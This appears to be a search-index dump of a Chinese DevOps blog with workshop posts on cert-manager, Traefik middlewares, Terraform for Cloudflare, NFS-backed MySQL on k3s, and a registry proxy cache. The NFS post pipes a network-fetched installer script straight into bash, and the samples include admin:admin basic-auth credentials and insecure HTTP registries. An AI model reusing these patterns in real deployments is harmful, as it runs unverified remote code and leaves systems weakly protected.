lastTransitionTime for Certificate \u0026#34;local-r4y\u0026#34; condition \u0026#34;Issuing\u0026#34; to 2023-12-11 13:48:56.816206109 +0000 UTC m=+1276688.137750553 I1211 13:48:56.832457 1 controller.go:162] \u0026#34;cert-manager/certificates-trigger: re-queuing item due to optimistic locking on resource\u0026#34; key=\u0026#34;default/local-r4y\u0026#34; error=\u0026#34;Operation cannot be fulfilled on certificates.cert-manager.io \\\u0026#34;local-r4y\\\u0026#34;: the object has been modified; please apply your changes to the latest version and try again\u0026#34; I1211 13:48:56.832536 1 trigger_controller.go:215] \u0026#34;cert-manager/certificates-trigger: Certificate must be re-issued\u0026#34; key=\u0026#34;default/local-r4y\u0026#34; reason=\u0026#34;DoesNotExist\u0026#34; message=\u0026#34;Issuing certificate as Secret does not exist\u0026#34; I1211 13:48:56.832555 1 conditions.go:203] Setting lastTransitionTime for Certificate \u0026#34;local-r4y\u0026#34; condition \u0026#34;Issuing\u0026#34; to 2023-12-11 13:48:56.832549773 +0000 UTC m=+1276688.154094209 ... 之后查看证书资源，可以看到已经完成签发的证书。\n➜ issuers git:(main) kubectl get certificateS -o wide NAME READY SECRET ISSUER STATUS AGE local-r4y True local-r4y letsencrypt-staging Certificate is up to date and has not expired 14h local-r4y-prod True local-r4y-prod letsencrypt-production Certificate is up to date and has not expired 13h 配置ingress 有了证书之后，我们就可以通过 ingress 配置来引用这个证书。配置如下，主要是在 Tls 的部份添加了这个证书的引用。需要注意的是证书需要在同一个命名空间下。\napiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: namespace: default name: echo-ingress-tls spec: entryPoints: - websecure routes: - kind: Rule match: Host(`traefik-ui.local.r4y.site`) \u0026amp;\u0026amp; PathPrefix(`/`) services: - kind: Service name: echo-test namespace: default port: 80 middlewares: - name: basic-auth namespace: kube-system - name: echo-header namespace: default tls: secretName: local-r4y-prod --- apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: namespace: default name: echo-ingress spec: entryPoints: - web routes: - kind: Rule match: Host(`traefik-ui.local.r4y.site`) \u0026amp;\u0026amp; PathPrefix(`/`) services: - kind: Service name: echo-test namespace: default port: 80 middlewares: - name: basic-auth namespace: kube-system - name: echo-header namespace: default apply 之后，创建/修改 ingress 资源，这样我们就有了一个合法的 HTTPS 证书，用于我们的内网服务。\n","date":"2023-12-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/12/workshopscert-manager-%E9%83%A8%E7%BD%B2%E4%B8%8E%E8%AF%81%E4%B9%A6%E7%AD%BE%E5%8F%91/","tags":["k3s","k8s","Workshops","cert-manager"],"title":"[Workshops]Cert-manager 部署与证书签发"},{"categories":["devops"],"contents":"前 Traefik 不仅仅是作为ingress 这么简单，它在实现了标准的 Ingress API 的同时。所带来CRD才是最重要的功能。\n我们通过 kubectl api-resources 可以看到当前的API资源，其中可以看到 Traefik 提供的有：\ningressroutes traefik.containo.us/v1alpha1 true IngressRoute ingressroutetcps traefik.containo.us/v1alpha1 true IngressRouteTCP ingressrouteudps traefik.containo.us/v1alpha1 true IngressRouteUDP middlewares traefik.containo.us/v1alpha1 true Middleware middlewaretcps traefik.containo.us/v1alpha1 true MiddlewareTCP serverstransports traefik.containo.us/v1alpha1 true ServersTransport tlsoptions traefik.containo.us/v1alpha1 true TLSOption tlsstores traefik.containo.us/v1alpha1 true TLSStore traefikservices traefik.containo.us/v1alpha1 true TraefikService 所以这里我们使用Traefik 提供的CRD来实现对于ingress 的高级应用。\n概念 这里选取这次要使用的 CRD来进行简单的讲解\ningressroutes IngressRoute 和 k8s 本身的 ingress 对比，给我们提供了更强大的功能，这里把配置文件贴出来就可以直接的看到区别。简单的理解一个是进一步控制 Traefik 的功能，一个是单纯的配置 ingress 的转发。CRD多了更多的选项 ：\nmiddlewares entryPoints TraefikService apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: namespace: kube-system name: user-traefik-dashboard spec: entryPoints: - web routes: - kind: Rule match: Host(`traefik-ui2.k3.net`) services: - kind: TraefikService name: api@internal middlewares: - name: basic-auth namespace: kube-system ------ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: registry-ingress-k8s-gcr namespace: container-basis annotations: kubernetes.io/ingress.class: \u0026#34;traefik\u0026#34; spec: rules: - host: k8s-gcr-k3s.io http: paths: - path: / pathType: ImplementationSpecific backend: service: name: k8s-gcr-registry-svc port: number: 5000 Traefik-IngressRoute middlewares 这里指的是 HTTP层面的 中间件，用于实现用户对HTTP流量自定义操作，可以提供的操作包括不限于，压缩，熔断，认证，头部处理，缓存等等。\n对比经典的 Nginx 这一层相当于用CRD 的模式实现了nginx 的配置中的 高级选项。\n实践 使用这次的实践内容配置\n开放traefik的 dashboard对内部提供访问 自定义我们的echoserver服务，添加自定义用户头等等。 开放dashboard并添加baseauth 创建IngressRoute资源 我们可以在 Traefik-IngressRoute 查询到 CRD 的模板。修改模板完成 资源的定义。在这里加上了 middlewares，用于登陆面板的认证。\n这里的 services 就不是系统层面的了。 traefik 在这里做了区分。分为下面两种\nTraefikService Service 前者是 tfk提供的CRD，后者是经典的系统 Service。需要指定，name /namespace/port等否则会有error\ntraefik 的Error debug 可以 在 deploy 的Log 中查看\napiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: namespace: kube-system name: user-traefik-dashboard spec: entryPoints: - web routes: - kind: Rule match: Host(`traefik-ui2.k3.net`) services: - kind: TraefikService name: api@internal middlewares: - name: basic-auth namespace: kube-system 使用 ingress 来实现 这个是补充部分，我们可以使用 CRD来使用 中间件，也可以直接在 ingress 中通过annotations，来实现对与 其他资源的引用。这样也可以实现中间件的功能。\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: traefik-ingress namespace: kube-system annotations: kubernetes.io/ingress.class: traefik traefik.ingress.kubernetes.io/router.middlewares: default-my-basic-auth@kubernetescrd spec: rules: - host: traefik.${DOMAIN} http: paths: - path: / pathType: Prefix backend: service: name: traefik-dashboard port: number: 9000 创建basic-auth 中间件 Basic-auth 是web中比较常见的功能，traefik中也提供了可以直接使用的。通过下面的内容完成CRD 的定义。\napiVersion: traefik.containo.us/v1alpha1 kind: Middleware metadata: name: basic-auth namespace: kube-system spec: basicAuth: secret: basic-auth-traefik-dashboard 因为认证需要的密钥我们通过新的 secret 来进行创建，这里的 users 格式是，htpasswd 的通用格式。\napiVersion: v1 kind: Secret metadata: name: basic-auth-traefik-dashboard namespace: kube-system type: Opaque data: users: YWRtaW46JGFwcjEkb255d2lQbmokVmpWUEdIczNKNzgwNHFIaEp1LkRSLwo= 通过上述步骤，既就可以创建一个 traefik-ui2.k3.net 的host指向 traefik 的dashboard，并且加上了 basicauth 的认证。\n转发到echo并且添加header 这里使用 Header 的中间价来实现，文档见下\nHeaders 内容大同小异，直接全部贴出来。\napiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute metadata: namespace: default name: echo-ingress spec: entryPoints: - web routes: - kind: Rule match: Host(`traefik-ui3.k3.net`) services: - kind: Service name: echo-test namespace: default port: 80 middlewares: - name: basic-auth namespace: kube-system - name: echo-header namespace: default --- apiVersion: traefik.containo.us/v1alpha1 kind: Middleware metadata: name: echo-header namespace: default spec: headers: customRequestHeaders: X-Script-Name: \u0026#34;test\u0026#34; customResponseHeaders: X-Custom-Response-Header: \u0026#34;value\u0026#34; 访问 traefik-ui3.k3.net 时候，我们可以看到，我们的加上的 request header 已经成功添加。\nHostname: echo-85799bbb44-zr9l8 Pod Information: -no pod information available- Server values: server_version=nginx: 1.13.3 - lua: 10008 Request Information: client_address=10.42.1.119 method=GET real path=/ query= request_version=1.1 request_scheme=http request_uri=http://traefik-ui3.k3.net:8080/ Request Headers: accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 accept-encoding=gzip, deflate accept-language=zh,zh-CN;q=0.9 authorization=Basic YWRtaW46YWRtaW4= cache-control=max-age=0 dnt=1 host=traefik-ui3.k3.net upgrade-insecure-requests=1 user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 x-forwarded-for=10.42.0.0 x-forwarded-host=traefik-ui3.k3.net x-forwarded-port=80 x-forwarded-proto=http x-forwarded-server=traefik-7896558d9c-w9k4t x-real-ip=10.42.0.0 x-script-name=test Request Body: -no body in request- 其他 关于traefik 将流量转发到 NS 之外的 svc traefik helm 安装时，默认没有启用 allowCrossNamespace，所以直接使用上面的配置会导致报错Error。\n参考：K3s Traefik MiddleWare 报错-Failed to create middleware keys 想要添加 helm的ValueConfig，在 /var/lib/rancher/k3s/server/manifests/traefik-config.yaml\napiVersion: helm.cattle.io/v1 kind: HelmChartConfig metadata: name: traefik namespace: kube-system spec: valuesContent: |- globalArguments: - \u0026#34;--providers.kubernetescrd.allowcrossnamespace=true\u0026#34; 这样可以在 其启动参数上加上 跨NS 支持。\nTraefikService与Service Tfk的Service 提供了更多的功能\nWeighted Round Robin\nMirroring\n后 Traefik 的功能强大不必言说，现在只是对其细小的工具进行一步步研究。\n","date":"2023-12-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/12/workshops-traefik%E4%B9%8Bingressroute%E4%B8%8Emiddleware/","tags":["k3s","k8s","Workshops","traefik"],"title":"[Workshops] Traefik之ingressroute与middleware"},{"categories":["devops"],"contents":"前 在构思一个项目，把一些需要经常变更的云上配置通过一种可持续的方式管理起来。最终实现的目的是云上用到的配置都可以通过代码来进行定义。不需要手动的控制台点击，同时可以加强IAAS的使用能力\n这里使用的技术栈有\nGithub Action Terrafoem cf-terraforming` The part of Terraform 安装 cf-terraforming 安装 cf-terraforming 用于导出现有的配置生成Terraform 的文件。\nbrew tap cloudflare/cloudflare brew install cloudflare/cloudflare/cf-terraforming 一路绿灯完成安装。没有什么问题\n导出现有的Cloudflare tf内容以及状态导入 Terraform对资源是声明式的管理，存在状态文件和 配置文件两部份。状态是自动生成的我们不需要进行编辑。但是在导入资源的时候也需要进行同步的导入。\n使用 cf-terraforming 进行tf文件生成， 这里的 API token 在控制台进行生成\nexport CLOUDFLARE_API_TOKEN=\u0026#39;\u0026lt;SECRET\u0026gt;\u0026#39; export CLOUDFLARE_ZONE_ID=\u0026#39;\u0026lt;SECRET\u0026gt;\u0026#39; cf-terraforming generate \\ --resource-type \u0026#34;cloudflare_record\u0026#34; \\ --zone $CLOUDFLARE_ZONE_ID \u0026gt; cloudflare_record.tf 完成命令后，就得到了母亲该Zone下的所有的域名record，看其中的一条是下面的样子，这样就完成了声明文件部份的导入\nresource \u0026#34;cloudflare_record\u0026#34; \u0026#34;terraform_managed_resource_17cf372edb00f60acd922085ccfe4992\u0026#34; { name = \u0026#34;78cbbfaad12b999e\u0026#34; proxied = false ttl = 1 type = \u0026#34;A\u0026#34; value = \u0026#34;43.153.xxx.xxx\u0026#34; zone_id = \u0026#34;secret\u0026#34; } 下面的步骤是进行 状态文件的导入。通过 cf-tf 工具自动生成导入资源的 import 命令。然后使用 terraform 来进行资源的状态导入\ncf-terraforming import \\ --resource-type \u0026#34;cloudflare_record\u0026#34; \\ --zone $CLOUDFLARE_ZONE_ID 这一步不会直接生成 state文件而是给出了使用terraform资源导入的命令 比如下面的\nterraform import cloudflare_record.terraform_managed_resource_af4a02bee8b9cb86c4a659cf827753fd d904f98aee09a6c74f1ded71b4100a4a/af4a02bee8b9cb86c4a659cf827753fd 终端批量执行命令。完成资源导入。\n执行 terraform plan 来检查目前的状态是否正确\nNo changes. Your infrastructure matches the configuration. Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed. 可以看到，现在我们本地的配置和 远程配置没有差异。\n远程状态存储 可以看到本地的目录下有 tfstate 的文件，这个也就是我们的现在资源所有的状态文件。但是本地管理的方式无法在协作环境中使用。而且后续的自动变更之类的 CI操作也无法完成。所以这里我们需要把状态进行远程存储。在main.tf 中添加下面内容指定远程存储。\n这里使用的是 TFC Terraform Cloud 提供的免费的配置托管服务。但是企业用户是需要收费的。\nterraform { cloud { organization = \u0026#34;minsk\u0026#34; workspaces { name = \u0026#34;cloudflare\u0026#34; } } } 之后在 TFC 注册帐户建立项目，在现有的tf项目中执行\nterraform login terraform init login 阶段会连接到 TFC， init 的步骤中 会提醒你是否将 状态文件同步到远端。yes 之后一键绿灯。\nterraform plan 而后我们再次执行 terraform plan 的时候，会在终端看到。运行apply 的命令已经不是在本地了，而是一个远程的任务。我们的状态迁移也完成了\nRunning apply in Terraform Cloud. Output will stream here. Pressing Ctrl-C will cancel the remote apply if it\u0026#39;s still pending. If the apply started it will stop streaming the logs, but will not stop the apply running remotely. Preparing the remote apply... To view this run in a browser, visit: https://app.terraform.io/app/minsk/cloudflare/runs/run-xxxxxx Waiting for the plan to start... Terraform v1.3.9 on linux_amd64 Initializing plugins and modules... The part of Github Action 配置文件推送到 Github 存储 初始化本地仓库，然后完成推送。常见命令不进行赘述。\necho \u0026#34;# base-iaas\u0026#34; \u0026gt;\u0026gt; README.md git init git add README.md git commit -m \u0026#34;first commit\u0026#34; git branch -M main git remote add origin git@github.com:r4ym0n/base-iaas.git git push -u origin main 导入Github action 在github 页面，点选github Action 之后搜索 terraform 就可以得到一个默认配置的文件。上面的注释文件也说明了自己的用途。\n# This workflow installs the latest version of Terraform CLI and configures the Terraform CLI configuration file # with an API token for Terraform Cloud (app.terraform.io). On pull request events, this workflow will run # `terraform init`, `terraform fmt`, and `terraform plan` (speculative plan via Terraform Cloud). On push events # to the \u0026#34;master\u0026#34; branch, `terraform apply` will be executed. action 的文件重要的部份，贴在下面做一个解读.\n分两部分来，第一部份是定义触发的部份。 这里on 两个 event。\npush 到 master分支会出发 有新的PR会进行触发 name: \u0026#39;Terraform\u0026#39; on: push: branches: [ \u0026#34;master\u0026#34; ] pull_request: permissions: contents: read 后面的部份是比较重要的，Job 的定义，注意有下面的流程\n指定基础环境 获取代码 初始化terrafoem 环境 格式化以及预检查 判断是否master分支，master 分支就apply，其他分支说明是PR的不需apply uses 的部份是直接使用定义好的 action 仓库来实现 run-on 这个虚拟环境内的一些功能。\nsteps 是已经在虚拟环境内了，所以 checkout 和 setup-terraform 都是用来初始化这个环境的工具。\nactions/checkout 把我们的代码 checkout 到虚拟环境中 hashicorp/setup-terraform 来在虚拟环境初始化terraform 上面的初始化完成之后，加可以直接run 命令来完成 配置的变更啦\njobs: terraform: name: \u0026#39;Terraform\u0026#39; runs-on: ubuntu-latest environment: production # Use the Bash shell regardless whether the GitHub Actions runner is ubuntu-latest, macos-latest, or windows-latest defaults: run: shell: bash steps: # Checkout the repository to the GitHub Actions runner - name: Checkout uses: actions/checkout@v3 # Install the latest version of Terraform CLI and configure the Terraform CLI configuration file with a Terraform Cloud user API token - name: Setup Terraform uses: hashicorp/setup-terraform@v1 with: cli_config_credentials_token: ${{ secrets.TF_API_TOKEN }} # Initialize a new or existing Terraform working directory by creating initial files, loading any remote state, downloading modules, etc. - name: Terraform Init run: terraform init # Checks that all Terraform configuration files adhere to a canonical format - name: Terraform Format run: terraform fmt -check # Generates an execution plan for Terraform - name: Terraform Plan run: terraform plan -input=false # On push to \u0026#34;master\u0026#34;, build or change infrastructure according to Terraform configuration files # Note: It is recommended to set up a required \u0026#34;strict\u0026#34; status check in your repository for \u0026#34;Terraform Cloud\u0026#34;. See the documentation on \u0026#34;strict\u0026#34; required status checks for more information: https://help.github.com/en/github/administering-a-repository/types-of-required-status-checks - name: Terraform Apply if: github.ref == \u0026#39;refs/heads/\u0026#34;master\u0026#34;\u0026#39; \u0026amp;\u0026amp; github.event_name == \u0026#39;push\u0026#39; run: terraform apply -auto-approve -input=false 之后我们commit 这个变更，action 文件会自动的添加到我们的仓库。我们尝试修改我的tf文件。可以看到Workflow 会自动执行\n运行效果 后 算是一个比较综合的实践，作为Devops 的基础能力，需要掌握和熟练使用。\n","date":"2023-11-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/11/%E4%BD%BF%E7%94%A8tf%E5%BB%BA%E7%AB%8B%E5%8F%AF%E6%8C%81%E7%BB%ADcloudflare%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86/","tags":["Terraform","Cloudflare"],"title":"使用TF建立可持续Cloudflare配置管理"},{"categories":["devops"],"contents":"前 k3s部署项目也需要进行持久化存储。但是不希望在节点上进行localpath 的存储。不大优雅且和节点有强相关不利于HA的设计。\n所以就需要使用 nfs 的方式来进行持久化的存储。 这里我使用群晖来提供nfs服务偷个懒。使用自建的nfs server 也是可以的。\nWorkshops 节点准备 需要先在节点上安装nfs-common来提供nfs 的客户端从而有挂载的能力\nsudo apt install nfs-common 存储准备 在存储的管理上有两种方法，一个是安装 CSI 使用 NFS 的存储类来进行NFS 的持久化管理。还有一个一种是NFS类型的PV来实现。两种都可以实现NFS挂载为POD 的持久卷。但是第一个种方式对NFS 进行了抽象。不需要在进行更多的配置以及额外的管理。把存储层更加抽象也更符合我们的K8S的思想。这里两种部署的方式都记录一下。\n使用存储类（Storagecalss）来进行持久化管理 NFS 的CSI 驱动安装 安装过程十分的简单，参考下面的指引文档\nInstall NFS CSI driver v4.5.0 version on a kubernetes cluster\n直接使用 yaml apply 来进行安装，\ncurl -skSL https://raw.githubusercontent.com/kubernetes-csi/csi-driver-nfs/v4.5.0/deploy/install-driver.sh | bash -s v4.5.0 -- ###### kubectl -n kube-system get pod -o wide -l app=csi-nfs-controller kubectl -n kube-system get pod -o wide -l app=csi-nfs-node NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES csi-nfs-controller-6f5f9cb8f-7n974 4/4 Running 12 (9h ago) 4d10h 192.168.3.10 k3s-worker-0 \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES csi-nfs-node-bz8gl 3/3 Running 0 4d10h 192.168.3.9 k3s-master \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; csi-nfs-node-xh2pm 3/3 Running 6 (9h ago) 4d10h 192.168.3.10 k3s-worker-0 \u0026lt;none\u0026gt; \u0026lt;none\u0026gt; 这里应该算是K8s系统的优雅之处的体现了。应用软件甚至系统功能就可以通过 配置文件来进行管理。\nStorage Class 注册 apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: nfs-csi provisioner: nfs.csi.k8s.io parameters: onDelete: retain share: /volume1/vm_nfs server: nas-vm.local reclaimPolicy: Delete volumeBindingMode: Immediate mountOptions: - nfsvers=4 声明PVC --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-nfs-pvc namespace: database-common spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Gi storageClassName: nas-nfs volumeMode: Filesystem 使用NFS PVC 来直接使用 PV是支持Nfs类型的，所以也可以直接在PV里面来对Nfs 的连接选项来进行配置。这样的方式需要自己手动的对NFS 的目录来进行管理。整体性上不如上面。但是也是一个可用的方法。\napiVersion: v1 kind: PersistentVolume metadata: name: mysql-pv spec: accessModes: - ReadWriteOnce capacity: storage: 10Gi nfs: path: /volume1/vm_nfs/data0/ server: nas-vm.local persistentVolumeReclaimPolicy: Retain --- apiVersion: v1 kind: PersistentVolumeClaim metadata: namespace: database-common name: mysql-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Gi volumeName: mysql-pv storageClassName: vm-nfs ConfigMaps 配置 使用Config来进行Mysql 的配置管理，可以方便配置的变更。下面是 mysql.cnf 文件中的内容。\n[mysqld] skip_name_resolve character-set-server=utf8mb4 collation-server=utf8mb4_general_ci [client] default-character-set=utf8mb4 写入Secret文件，\necho -n MYSQL_ROOT_PASSWORD \u0026gt; mysql-root-password.txt 创建Configmaps\nkubectl create -n database-common secret generic mysql-root-password --from-file=password=./mysql-root-password.txt kubectl create -n database-common configmap mysql-config --from-file=./mysql.cnf StatefulSet 工作负载部署 有了前面的资源铺垫，后面的mysql的部署就比较简单了，通过statefulset模板来创建mysql。\n其中三个地方的挂载\nsecret 挂载mysql 初始化的root密码 第二个是我们的nfs pvc 用来存储mysql 的DB文件 第三个是公开的configmap 的配置 --- apiVersion: apps/v1 kind: StatefulSet metadata: namespace: database-common name: mysql spec: serviceName: mysql replicas: 1 selector: matchLabels: app: mysql updateStrategy: type: RollingUpdate template: metadata: labels: app: mysql spec: containers: - name: mysql image: mysql:8 env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-root-password key: password ports: - containerPort: 3306 livenessProbe: exec: command: [\u0026#34;mysqladmin\u0026#34;, \u0026#34;ping\u0026#34;] volumeMounts: - name: mysql-pvc mountPath: /var/lib/mysql - name: mysql-conf mountPath: /etc/mysql/conf.d securityContext: runAsUser: 1000 fsGroup: 1000 volumes: - name: mysql-pvc persistentVolumeClaim: claimName: mysql-nfs-pvc - name: mysql-conf configMap: name: mysql-config 这里有一点需要注意的是，securityContext 这里的配置，强制指定了容器中的mysql进程的用户ID。否在在读写nfs时候有权限问题。\n服务端口暴露 这里就不过多讲解了，使用一个 Nodeport的service 来对mysql 的服务进行暴露，这样我们就可以直接使用 节点的IP来进行mysql 的连接和管理。\n--- apiVersion: v1 kind: Service metadata: name: mysql namespace: database-common labels: app: mysql spec: type: NodePort ports: - port: 3306 protocol: TCP selector: app: mysql 后 通过这个Workshop 搞懂了PVC/PV 和 StorageClass 之间的设计关系。通过StorageClass 来对基础的存储过程进行抽象，的确是其设计的精妙之处。\n","date":"2023-11-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/11/workshopsk3s-mysql%E9%83%A8%E7%BD%B2nfs%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/","tags":["k3s","k8s","Workshops","Nfs"],"title":"[Workshops]K3s--mysql+nfs持久存储"},{"categories":["devops"],"contents":"前 第N次，和 K3S打上了交道。因为K8S的技术的学习曲线较为陡峭。也因为自己基础不牢。 基础部署都没熟练直攻Helm。\n然后导致集群就处于失控状态，从而导致了最终的学习/研究失败。\n现在重新捡起来，使用基础的例子一步步的构建K3S homelab体系。\n最终的目的是可以把目前所有的 docker-compose 的项目都迁移到K3S下面来。\nWorkshop 说明 需求背景 因为国内的网络环境问题，拉取Docker的gcr/dockerio 之类的镜像时有失败。而且因为集群的多节点。导致 ImagePullErr 问题时有发生。\n所以这里需要建立起一个 在本地提供镜像缓存以及管理功能的 Registry。\n选型 官方的Registry镜像中提供了一个 remote_porxy 的配置，可以直接实现对某一个远程仓库的 代理和 缓存功能。\n不过这里有一个进行二次打包的版本 yangchuansheng/registry-proxy 把一些配置直接写到了环境变量中去。简化了我们的使用流程。\nyangchuansheng/registry-proxy 在有提供 代理服务的 仓库镜像之后，还需要一个管理工具，用来对我们的镜像进行可视化的webui管理。这里找到了下面的那这个项目\nJoxit/docker-registry-ui 可以直接进行部署用来Registry的资源管理。\n实践过程 持久化存储 因为需要进行镜像的缓存，所以对于拉去的镜像需要进行持久化存储。这里原计划是使用NFS来提供存储，不过这种基础的服务不希望降低系统的整体性。所以就在Master 的节点拓展了磁盘。直接进行磁盘的localpath存储。\n多个的镜像代理都是公用的一个PV存储，这样便于管理且不会冲突。下面的yaml就是对这个 PV 的定义\n--- apiVersion: v1 kind: PersistentVolume metadata: name: master-local-storage spec: accessModes: - ReadWriteOnce - ReadWriteMany capacity: storage: 15Gi local: path: /data nodeAffinity: required: nodeSelectorTerms: - matchExpressions: - key: node-role.kubernetes.io/storage operator: In values: - storage persistentVolumeReclaimPolicy: Retain storageClassName: local-path volumeMode: Filesystem 这里需要注意的是两点，其中一个是 persistentVolumeReclaimPolicy\nReclaim Policy Current reclaim policies are:\nRetain \u0026ndash; manual reclamation Recycle \u0026ndash; basic scrub (rm -rf /thevolume/*) Delete \u0026ndash; associated storage asset such as AWS EBS or GCE PD volume is deleted Currently, only NFS and HostPath support recycling. AWS EBS and GCE PD volumes support deletion.\n另一个是 nodeAffinity，通过下面的scheme 来进行。\n小技巧使用 kubectl explain svc \u0026ndash;recursive 来进行API的递归列出\n或者使用 api reference 来进行查询 Kubernetes API/Config and Storage Resources/PersistentVolume\nrms@k3s-master:~$ kubectl explain PersistentVolume.spec.nodeAffinity --recursive KIND: PersistentVolume VERSION: v1 FIELD: nodeAffinity \u0026lt;VolumeNodeAffinity\u0026gt; DESCRIPTION: nodeAffinity defines constraints that limit what nodes this volume can be accessed from. This field influences the scheduling of pods that use this volume. VolumeNodeAffinity defines constraints that limit what nodes this volume can be accessed from. FIELDS: required\t\u0026lt;NodeSelector\u0026gt; nodeSelectorTerms\t\u0026lt;[]NodeSelectorTerm\u0026gt; -required- matchExpressions\t\u0026lt;[]NodeSelectorRequirement\u0026gt; key\t\u0026lt;string\u0026gt; -required- operator\t\u0026lt;string\u0026gt; -required- values\t\u0026lt;[]string\u0026gt; matchFields\t\u0026lt;[]NodeSelectorRequirement\u0026gt; key\t\u0026lt;string\u0026gt; -required- operator\t\u0026lt;string\u0026gt; -required- values\t\u0026lt;[]string\u0026gt; PVC 对PV 来进行 Claim，以提供给POD 来进行使用。\napiVersion: v1 kind: Namespace metadata: name: container-basis --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: registry-pvc namespace: container-basis spec: accessModes: - ReadWriteOnce storageClassName: local-path volumeMode: Filesystem volumeName: master-local-storage resources: requests: storage: 10Gi 多个站点的Proxy Deploy部署\u0026amp;UI 部署 这里简单的就是一个 Deployment 的部署方式，这里的yaml 定义了Proxy 的Deploy ，配置都是比较浅显易懂的。 这个是根据官方进行进行二次打包的镜像。其中的一些配置值可以直接通过环境变量来直接传入。\n其中需要注意的是，Resources.limits 是推荐进行设置的否则存在容器对资源的过度使用的问题。\n--- apiVersion: apps/v1 kind: Deployment metadata: name: k8s-gcr-registry namespace: container-basis labels: app: k8s-gcr-registry spec: replicas: 1 selector: matchLabels: app: k8s-gcr-registry template: metadata: labels: app: k8s-gcr-registry spec: containers: - name: k8s-gcr-registry resources: requests: cpu: 100m memory: 128Mi limits: memory: \u0026#34;512Mi\u0026#34; cpu: \u0026#34;500m\u0026#34; image: yangchuansheng/registry-proxy:latest ports: - containerPort: 5000 protocol: TCP volumeMounts: - name: local mountPath: /hub env: - name: REGISTRY_HTTP_ADDR value: :5000 - name: REGISTRY_STORAGE_FILESYSTEM_ROOTDIRECTORY value: /hub - name: PROXY_REMOTE_URL value: https://k8s.gcr.io volumes: - name: local persistentVolumeClaim: claimName: registry-pvc 关于多个缓存站点的定义，其yaml文件的大多数都是相同的。其具体的差异在Env 的部分。比如下面这个就是代理Gcr 的配置 。\nenv: - name: REGISTRY_HTTP_ADDR value: :5000 - name: REGISTRY_STORAGE_FILESYSTEM_ROOTDIRECTORY value: /hub - name: PROXY_REMOTE_URL value: https://gcr.io Service 以及 Ingress 在Registry运行之后，就需要考虑到前面的接入部份，定义servic和对应的ingress 来作为七层的路由转发。从而实现对集群外提供访问。具体的配置文件如下。\nservice的几个类型，不指定默认是 ClusterIP 的模式。\n--- apiVersion: v1 kind: Service metadata: name: k8s-gcr-registry-svc namespace: container-basis labels: run: k8s-gcr-registry spec: selector: app: k8s-gcr-registry ports: - protocol: TCP port: 5000 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: registry-ingress-k8s-gcr namespace: container-basis annotations: kubernetes.io/ingress.class: \u0026#34;traefik\u0026#34; spec: rules: - host: k8s-gcr-k3s.io http: paths: - path: / pathType: ImplementationSpecific backend: service: name: k8s-gcr-registry-svc port: number: 5000 代理接入配置 在前面的部分已经完成了Registry 的基础部署，后面就是使用上的配置。这里直接使用 ansible来进行配置文件的部署。\n先写Host到所有的节点中，用来劫持几个镜像域名的指向到我们自建的registry的IP。\n然后重启节点服务来进行应用生效。\nK3s的自定义仓库的参考资料 private-registry For K3s - hosts: k3s remote_user: ep become: yes gather_facts: False vars_prompt: - name: \u0026#34;registryIP\u0026#34; prompt: \u0026#34;Please input Registry Server IP\u0026#34; private: no tasks: - name: add hosts when: registryIP is defined shell: | sudo sed -i \u0026#39;/^.*hub-k3s\\.io.*/d\u0026#39; /etc/hosts sudo echo \u0026#34;{{ registryIP }} hub-k3s.io gcr-k3s.io k8s-gcr-k3s.io\u0026#34; \u0026gt;\u0026gt; /etc/hosts - name: add remote private registry when: registryIP is defined shell: | ls -als /etc/rancher/k3s/registries.yaml \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 || sudo mkdir /etc/rancher/k3s/ sudo echo \u0026gt; /etc/rancher/k3s/registries.yaml sudo cat \u0026lt;\u0026lt;EOT \u0026gt;\u0026gt; /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - \u0026#34;http://hub-k3s.io\u0026#34; gcr.io: endpoint: - \u0026#34;http://gcr-k3s.io\u0026#34; k8s.gcr.io: endpoint: - \u0026#34;http://k8s-gcr-k3s.io\u0026#34; EOT - hosts: k3s-master remote_user: ep become: yes tasks: - name: restart server shell: sudo systemctl restart k3s - hosts: k3s-workers remote_user: ep become: yes tasks: - name: restart workers shell: sudo systemctl restart k3s-agent For Docker 普通的Docker服务直接修改 /etc/docker/daemon.json 加上下面的配置。因为Docker 默认的修改的只有 Dockerio 的地址。\n\u0026#34;registry-mirrors\u0026#34;: [\u0026#34;http://hub-k3s.io\u0026#34;], \u0026#34;insecure-registries\u0026#34; : [\u0026#34;http://hub-k3s.io\u0026#34;] 对于其他的镜像仓库的域名。需要使用自定义的域名来代替代理前的域名。\n后 